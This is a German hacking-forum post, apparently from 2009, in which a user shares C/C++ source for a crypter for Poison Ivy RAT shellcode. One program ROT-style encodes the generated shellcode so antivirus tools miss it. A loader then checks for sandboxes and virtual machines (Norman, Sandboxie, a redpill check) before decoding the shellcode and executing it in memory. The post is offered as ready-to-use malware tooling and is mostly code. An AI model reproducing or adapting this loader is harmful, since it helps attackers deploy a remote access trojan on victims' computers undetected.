Ergebnis 1 bis 7 von 7

Thema: [src] ud pi

Baum-Darstellung

  1. #1
    Anfänger
    Registriert seit
    17.03.2009
    Beiträge
    28

    Standard [src] ud pi

    So leute, aus meinen früheren Zeiten, hier ein Source für euch wie ihr PI Crypten könnt... funzt complett ohne API, reines C++ =)

    Is schon etwas älter, ich glaube ganz FUD ist es nichtmehr
    (und btw auf die idee ist bestimmt wer anders auch schon gekommen, ich behaupte ya nicht das ich es erfunden hab, aber mir is die idee auch gekommen ^^)

    Mit diesem source verschlüsselt ihr PI erstmal mit ROT13 (kann man ändern, siehe source)
    WICHTIG: beim builden von PI müsst ihr als output nicht PE oder so nehmen, sondern C-Array ... weil das array müsst ihr einfügen, das wird verschlüsselt ...
    Code:
    #include <stdio.h>
    #include <stdlib.h>
    
    int main()
    {
    // Generated by Poison Ivy 2.3.2
    // http://www.poisonivy-rat.com
    // .... den code einfügen den ihr generiert bekommt...
    //unsigned char PIshellcode[] =
    //{
    // ...
    
        int i, x;
        int size = sizeof(PIshellcode);
        for(i = 0;i < sizeof(PIshellcode); i++) {
            PIshellcode[i] = PIshellcode[i]-13;
        }
        FILE *shellud = fopen("shellud.txt", "w+");
        fprintf (shellud, "//Generated by Poison Ivy 2.3.2\n//http://www.poisonivy-rat.com\n//Length: 0x%08X (bytes)\n//Crypted by ed0x\n\nunsigned char PIshellcode[%d] =\n{\n", size, size);
        for(i = 0; i < (size/16); i++) {
            fprintf(shellud, "    ");
            for(x = i*16; x < i*16+16; x++) {
                if(x == size-1)
                    fprintf(shellud, "0x%02X", PIshellcode[x]);
                else
                    fprintf(shellud, "0x%02X, ", PIshellcode[x]);
            }
            fprintf(shellud, "\n");
        }
        if(size%16 > 1) {
            fprintf(shellud, "    ");
            for(;x < size-1;x++) {
                fprintf(shellud, "0x%02X, ", PIshellcode[x]);
            }
            fprintf(shellud, "0x%02X\n", PIshellcode[size-1]);
        } else if(size%16 == 1) {
            fprintf(shellud, "    0x%02X\n", PIshellcode[size-1]);
        }
        fprintf(shellud, "};\n");
        fclose(shellud);
        printf("\n");
        system("PAUSE");
        return 0;
    }
    So, output ist dann verschlüsselt ...
    (wird schon formatiert in eine datei abgelegt ^^)

    Und hier der code für das eigendliche ausführe...

    Ich kopiert das array aus der neu generierten datei rein, und yoa ...
    das wird dann als shellcode ausgeführt...
    Unf falls ihr die verschlüsslung geändert habt, hier in dem code auch ändern, sonst gehts nicht auf den usprünglichen code ...

    Ich hab noch bissi Anti-VM eingebaut usw .. könnt ihr ya rausnehmen wenn ihr wollt, ich fands sinnvoll (nicht sinfoll ^^ thx GregorSamsa)

    Code:
    #include <stdio.h>
    #include <windows.h>
    #include <string.h>
    #include <TlHelp32.h>
    #include <Psapi.h>
    
    
    string StripFilePath(string ImageFile)
    {
       string::size_type iPos = ImageFile.find_last_of("\\");
       string StrippedFileName = ImageFile.substr(iPos+1, ImageFile.length());
       return StrippedFileName;
    }
    
    
    int main(int argc, char* argv[]) {
    
    //Anti Norman Sandbox
    char         Username[64];
    unsigned long         UsernameSize = sizeof(Username);
    
    GetUserName(Username, &UsernameSize);
    if(lstrcmp(Username, "CurrentUser") == 0) ExitProcess(0);
    
    //Anti kP
    unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3";
    *((unsigned*)&rpill[3]) = (unsigned)m;
    ((void(*)())&rpill)();
    
    if(*((unsigned*)&m[2]) == 0x80010160)
    ExitProcess(0);
    
    //anti Sandboxie
       string targetDLL = "SbieDll.dll"; /* The injected SandBoxie DLL.*/
    
       HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
       PROCESSENTRY32 pEntry32 = {0};
       MODULEENTRY32  mEntry32 = {0};
    
        if (hProcess == INVALID_HANDLE_VALUE)
          return 0;
    
        pEntry32.dwSize = sizeof(PROCESSENTRY32);
    
       char szModuleFile[MAX_PATH] = {0}; GetModuleFileName(GetModuleHandle(NULL),
          szModuleFile, MAX_PATH-1);
    
       string StrippedPath = szModuleFile;
    
       StrippedPath = StripFilePath(StrippedPath);
    
       if (Process32First(hProcess, &pEntry32))
       {
          while (Process32Next(hProcess, &pEntry32))
          {
             if (!strcmp(pEntry32.szExeFile, StrippedPath.c_str()))
             {
                HANDLE hModule = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
                   pEntry32.th32ProcessID);
    
                if (hModule == INVALID_HANDLE_VALUE) { continue; }
    
                mEntry32.dwSize = sizeof(MODULEENTRY32);
    
                if(Module32First(hModule, &mEntry32))
                {
                   while (Module32Next(hModule, &mEntry32))
                   {
                      if (!strcmp(mEntry32.szModule, targetDLL.c_str())) {
                         MessageBox(NULL, "Warning!", "Sandboxie Found.", MB_OK);
                         return 0;
                      }
                   }
                }
             }
          }
       }
    
    
    //Generated by Poison Ivy 2.3.2
    //http://www.poisonivy-rat.com
    //Length: 0x00001ED8 (bytes)
    //Crypted by ed0x
    
    //unsigned char PIshellcode[] =   //Hier shellcode einfügen den ihr generiert habt....
    //{
    // ....
    
        int i;
        for(i = 0;i < sizeof(PIshellcode); i++) {
            PIshellcode[i] = PIshellcode[i]+13; //und hier falls ich ein anderes ROT genommen habt auch ändern...
        }
        void (*letsrock)() = (void(*)())PIshellcode;
        letsrock();
     return 0;
    }
    grezZ
    ed0x
    Geändert von ed0x (08.04.2009 um 14:29 Uhr)

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •